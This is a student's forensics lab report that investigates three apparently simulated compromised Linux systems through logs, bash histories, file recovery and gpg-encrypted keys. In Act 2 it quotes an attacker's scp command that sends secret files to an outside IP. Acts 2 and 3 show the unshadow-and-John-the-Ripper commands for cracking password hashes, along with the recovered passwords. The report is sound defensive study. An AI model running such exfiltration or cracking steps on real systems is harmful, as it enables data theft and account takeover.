CS136 Assignment 4: Computer Forensics

Nathan Tung (004-059-195)

Act 1:

Since Bob told us there were only a few student accounts on the machine apart from his own, I wanted to see if any of the students had any suspicious files or ran any suspicious commands that might indicate the system was compromised. Of all the accounts (bob, eric, kevin, peter, and takeda) in the /home directory, only "kevin" and "takeda" were found to contain any files. Takeda doesn't have much - just a file and compressed file along the lines of "eggdrop." On the other hand, Kevin has two sizable folders labeled "links" and "music." The music folder has a surprisingly large amount of MP3s, and the links folder seems to carry aliases to the individual MP3s in the music folder. A README file credits "8bitpeoples" for the musical releases. Perhaps this is related to the worm or otherwise a spike in the internet traffic.

Next, I looked at each user's .bash_history to see if any questionable commands were issued, with extra emphasis on Kevin and Takeda, since they're the only ones with files. Besides the fact that Bob probably wouldn't compromise his own system on purpose, the only command he issued in bash was to shutdown the machine. Eric has a large amount of commands alternating between "mutt" (a text-based unix email program) and "logout", most likely to check his emails. These two commands were each issued 48 times, which is kind of strange. But there's no evidence so far that Eric's continuous logging in and out of the email program caused a spike in internet traffic. Peter doesn't seem to have issued any bash commands, since he has no files, including the .bash_hisory file. Takeda issued a few commands related to system and network status, such as "uptime" and "ifconfig", and ran the IRC client "irssi" before logging out. On the next login, Takeda extracted the eggdrop1.6.19 folder and ran a few make commands on it, like installing it. The README tells us that Eggdrop is actually an IRC bot. This also seems a bit suspicious, but we notice that Takeda never ran the Eggdrop program using bash (such that it would generate a traffic spike). Some further research leads me to believe that Eggdrop isn't an extremely dangerous file.

Every command issued by Kevin seems to be related to his music folder - for example, he made the music directory, issued some commands with crontab, tried to find some matches in the music folder, and created links to music files before logging out. He also played around with ssh-keygen (for generating RSA keys used in SSH) and ran cat on the id_rsa.pub file. I didn't know what crontab was, so I looked it up on man pages and Google. According to crontab.org, a crontab file instructs the cron daemon to "run this command at this time on this date". This already sounds strange, since we know that the traffic spike is based on time. The command Kevin issued begins with "0 4 * * *", which translates to instructing the daemon to run the proceeding command at the fourth hour (4:00 AM) of every day of every week of every month. The command he follows up with is rsync (a copying tool), and it looks like he's syncing music over SSH from his own kevin.dynip.com domain into this Linux machine. Since there's quite a bit of music (not a huge amount, but not insignificant), this could very well be the traffic spike that NOC detected!

In addition to the .bash_history files of each user, the /var/log/messages and /var/log/auth.log files also don't show any signs of odd behavior, such as password guessing/cracking or any other kind of forced entry. Overall, it doesn't seem like any accounts have been compromised by malicious code. The system itself seems to be intact in terms of security as well. The only potential cause of the traffic surge I found was Kevin's automated synchronization of music. Since I conclude that the system was not compromised and none of the students ran any commands to access files that didn't belong to them, no sensitive information seems to have been leaked or lost. It also follows that there is no data that needs to be recovered. If our conclusion is correct, the system does not need to be modified before being put back on production. But perhaps Kevin simply needs to be told that he cannot set up a command like that using crontab to download music to the school's lab server. And, to be safe, maybe Takeda should not be allowed to run Eggdrop or other suspicious files, either. This kind of misunderstanding can be prevented by restricting privileges on student accounts, such as monitoring downloads, limiting the amount of acceptable commands, limiting bandwidth at odd hours, and so on.

*This part of the lab took approximately 3 hours.

Act 2:

As before, we check the .bash_history file of every user (bill, fred, guest, jake, jane, john, mike) on Yoyodyne's machine. Bill, John, and Guest don't have any bash history, but the rest of the users all seem to have ran suspicious commands. Fred apparently tried to execute (that is, cd) into the secrets folder. Jake likewise tried to copy and scp the entire secrets folder; he actually succeeded in putting all the secrets into a hidden ".elikes" folder in his own directory. (Running "sudo -s" creates a sudo shell, allowing us to execute into his directory and verify that the secret data is indeed there.) Jane also tried to read various secret data files using the cat command. Mike has the longest bash history of them all; in the beginning, he executes into the secrets folder and tries to output (using cat) and copy the /etc/passwd file into a less-suspicious file he named calendar.txt. He also read his own .bash_history, which is quite suspicious and implies he has something to hide. He also downloaded john-1.7.2 (John the Ripper, a password cracker), reads the README for instructions, and tries to run it against calendar.txt, which is actually the original /etc/passwd file that he copied. Mike appears to be guilty of cracking passwords and accessing the secret data.

To make things more interesting, Yoyodyne has provided us with the home IP address of the kid/punk who tried selling the secret documents. His IP was 207.92.30.41 at around the time of the break-in. I tried to grep through files on the image for any file content containing that specified IP address, using these commands:

```
$ cat var/logl/messages | grep "207.92.30.41"
$ grep -r "207.92.30.41" sda1
```

The first command yielded nothing, but the second command showed us one of the commands Jake ran, "home/jake/.bash_history:scp -r secrets d000d@207.92.30.41 :~/". From the looks of it, Jake's account was compromised, and the punk actually tried to scp the secret data over to an account called "d000d" located on his own IP.

Looking at /var/log/messages doesn't seem to yield anything interesting. However, /var/log/auth.log shows several SSH authentication failures for the accounts john, fred, and mike, all from the same IP (193.252.122.103) but different ports (33018, 33019, 57719). Finally, the user at that IP gains entry onto the account mike, and later fred and jane. Using these accounts, he attempts to gain sudo access, and succesfully opens a root session under mike. From root, the user creates a new user jake (and a new "jake" group for that account). It would seem that the attacker later used jake's account to do some of the suspicious actions we saw before, including copying the secret data remotely using scp.

The /etc/group file shows "root:*:0:jake," indicating that jake was created with root access. The account jake is also in the "secretive" group associated with the secret data, along with many other users (john, hank, jane, and root). It makes sense that Mike's account was compromised. I ran John the Ripper for just 1 minute and found that the accounts had extremely-guessable passwords, especially Mike's. As a matter of fact, Mike's password (password1) is one of the first passwords both attackers and software will attempt (and John the Ripper cracked his in less than 10 seconds).

Lots of evidence points to the server being compromised. As we demonstrated step-by-step above, the attacker with IP 193.252.122.103 most likely tried to guess passwords in order to log on via SSH. He/she failed the first few tries, but then managed to get into Mike's account (which is no surprise, really - the password to mike was "password1"), which seemed to have sudo access. Using that sudo access, he logged in as root and possibly compromised other accounts by cracking their passwords with John the Ripper (fred, jane). The attacker may have tried using their accounts to steal the data, but they didn't have the permissions to do so; or the attacker used their accounts to mess around with their .bash_history in order to make the attack seem like an inside job. Finally, he created an account/group "jake" with root access and logged into that account in order to scp the secret data over to an alternate server with IP (207.92.30.41). Either the attacker also owns his IP, or he actually did send it to the "punk" who tried to fence the secret data.

As we know without a doubt, the attacker accessed sensitive information (the secret data). There really isn't any data to recover in this case, since the attacker simply wanted to attack our data confidentiality rather than data integrity. As far as we know, the only damage done was the leaked data and the compromised accounts

due to easily-guessable passwords, so the account "jake" needs to be removed and the other accounts need to have their permissions checked and their passwords changed. However, I would suggest wiping the system clean. Even though the logs don't tell us that the system was infected with a trojan or any kind of malware, the fact that the attacker had root access means he could have run any kind of command/code or done a lot of hidden damage (perhaps to the extent of infecting software meant to wipe the disk itself). Then the attacker could continue to monitor the status of Yoyodyne and gain more insider information on updated secret data. To be safe, the entire system should be reformatted, and the accounts should be re-created with MUCH stronger passwords. Enforcing much stronger passwords will make it a lot more difficult for accounts to be cracked by John the Ripper or simply by brute-force/guessing. The secret data should also be better protected, perhaps with a second layer of passwords, so that compromised accounts cannot directly view the confidential information. The accounts themselves could also be protected from unwarranted remote entry by, say, only allowing SSH access from recognized IP addresses and ports. By bolstering the security of the company's servers from remote attacks, a lot of future damage could be mitigated.

John the Ripper output, with passwords first and usernames in parenthesis:

```
Loaded 8 password hashes with 8 different salts (md5crypt [MD5 32/64 X2])
Press 'q' or Ctrl-C to abort, almost any other key for status
password1       (mike)
password        (guest)
tuesday2        (root)
baseball8       (fred)
```

*This part of the lab took approximately 3 hours.

Act 3:

Since we'd like to recover sensitive information that is lost to us, the first thing we do is to run e2undel to save everything previously deleted. The command "sudo e2undel -d /dev/loop0 -s /images/recovered -a -t" shows plenty of deleted inodes. I recovered these into the recovered directory and skimmed through them. Most of the recovered files contain junk, but the inodes from 368000 to 368002 look promising. They are one-liner files that potentially contain keys! Their contents are:

7 17jonquil23scent14 8 26daisy99daisy99 6 13tulip34root28

A quick glance at each of the user's .bash_history files doesn't help us any in finding the bank codes, but it seems like some accounts (gardener, jeeves) have been using cat to peek at the .bash_history files. The gardener account also had been using gpg, the software they used to encrypt the boss' swiss bank account access codes. We notice quickly, however, that there's a swiss_keys folder inside rich's home directory. Inside this directory are 8 different swisskeyN.gpg, where N is the key number from 1-8. Running "sudo gpg swisskey1.gpg" prompts for a passphrase. It seems that we need the 8 keys to use as passphrases, and then gpg will spit out the bank codes. We guess that the three files we found before are indeed keys.

Let's look for more easy-to-find keys. I execute into the sudo shell with "sudo -s" and then use find to locate all file names on the disk image with "key" somewhere in its name. By running "sudo find sda1 -name "*key*" > key_files.txt", I obtain a key_files.txt text file describing the locations of all matched files. A quick scan of the locations provided to be useful, and I found some interestingly suspicious locations, like "sda2/home/rich/.extrtmtc/key4" and "sda2/tmp/extortomatic-23421/key1" which gave us the following keys:

4 11hibiscus2hibiscus23 1 23philo7dendron88

By now, I'm catching on to the trend. Originally I was wondering what the first separated number to the supposed "keys" represented. Now, I theorize that the preceding number is the key number out of the 8 total. So we have obtained key1, key4, key6, key7, and key8 thus far. We're only missing key2, key3, and key5! Since key1 and key4 were simply in files with their respective numbers preceded by the term "key", I use "sudo find sda1 -name "key2*"" and for key3 and key5 to make sure I didn't skip over any keys, but it does not return anything valid. But now we know the pattern of the files containing keys as well:

<key number> #<some_lowercase_text>#<some_lowercase_text>#, where the # denotes some number with 1 or 2 digits

I grep through each folder on the drive using something like "grep -rnw sda1 -e "2 *" > key2_contents.txt", but there's way too much stuff to go through! Instead of limited the number of lines grep parses, I ended up picking a few directories where I think keys are most likely to reside. Using regex (regular expressions), I narrowed the command down to:

$ sudo grep -rnwI sda1 -e ^[235] [0-9]{1,2}[a-z]+[0-9]{1,2}[a-z]+[0-9]{1,2}$ > key235_grep.txt

The regex looks for anything in the pattern we described for key number 2, 3 or 5. We ignore any matches in binary files, since the keys most likely won't be in there. There's still some stuff to sift through in the resulting text file, key235_grep.txt, but we can easily skim through by looking at the format and ignoring files that don't look like the rest of the keys. Though I found nothing for key2 or key3, I was able to find key5. It turned out to be located in a hidden mozilla folder with a different filename than what we're used to: "sda1/home/rich/.mozilla/cache/a234Z8x0:1:". How tricky!

5 19rose42blossom35

The specs say we can also associate the loopback device with the swap partition, sda2. We can then translate all the strings into a text file and run grep on that to find keys. After using losetup with loop1, I use "sudo strings /dev/loop1 > loop1_contents.txt" and follow that up with a grep command:

grep "key" loop1_contents.txt > key_results.txt

This produces a rather short list. As a matter of fact, the first thing we see at the top of the list is:

key2 41jade6tree29p key2 41jade6tree29~~~

I also search for the character '3' and, luckily, find it at the very last line:

```
key 3 29azalea8flower00
```

I was a bit confused by the two entries for key2. But if I had to guess, the key probably does not involve the final 'p' character. If it did, it would no longer fit the same pattern as the rest of the keys. But we supposedly have all the keys now! Again, it looks like we need to check the keys inside rich's swiss_keys directory. And then we run "sudo gpg swisskeyN.gpg" and provide the passphrase as we discovered above. These are the swiss codes, decrypted!

1) me_and_you_and_you_and_me-so_happy_2gether
2) everybody_dance_now_hey_now
3) what_would_you_do_if_sang_out_of_tune
4) im_pickin_up_good_vibrations
5) its_the_little_old_lady_from_pasadena
6) raindrops_keep_fallin_on_my_head
7) twist_again_like-we_did_last_summer
8) goodness_gracious_great_balls_of_fire

So now the rich boss has all his bank codes back! Clearly, the system is completely compromised and any sensitive data that existed on it should be considered stolen. It is not very clear how the system got compromised; the messages log doesn't seem to yield any suspicious information that sounds out. When looking at auth.log, it seems that root access was gained after someone logged in as jeeves. We know that the account jeeves was directly compromised due to his .bash_history, so perhaps jeeves or gardener was the entry point. Thankfully, we have already recovered the most important bank codes above. Although our client stated that he doesn't care about the computer, what remains of the system should be utterly wiped out before we can even start to consider it "secure" again. As a matter of fact, it would be my suggestion to get rid of the system (or at least wipe it down using uncompromised software) and start afresh. Although the attackers did not necessarily put any malware into the system, they could have done so easily. As we learned, trojans or other malware could have embedded themselves into the machine, only to remain dormant and attack when the user thinks he or she is secure again. Even the software used to reformat the system could be compromised and thereby maintain the malware's hold while deleting everything else. The risk should not be taken and, at the minimum, the machine should be wiped clean. Since the method of attack is still unclear, it is difficult to present a solution. I would recommend lessening the servants' access to the machine and perhaps putting a personal firewall around the accounts with root access. It doesn't look like any SSH attempts were made to connect, but it would be valuable to prevent outsiders from trying to enter via remote access and gain root privileges.

I also ran John the Ripper in order to recover user passwords. I first used the software's unshadow method by applying /etc/shadow to /etc/passwd, then ran John on the unshadowed_passwd file. The first four passwords took around 2 hours, while the last one took much longer to recover.

```
$ sudo unshadow passwd shadow > unshadowed_passwd
$ ./john unshadowed_passwd
```

John the Ripper output, with passwords first and usernames in parenthesis:

```
Loaded 6 password hashes with 6 different salts (md5crypt [MD5 32/64 X2])
Press 'q' or Ctrl-C to abort, almost any other key for status
butler          (jeeves)
moneymoney      (root)
plants          (gardener)
food            (chef)
moneybags                   (rich)
```

*This part of the lab took approximately 5 hours, not including the time to run John the Ripper.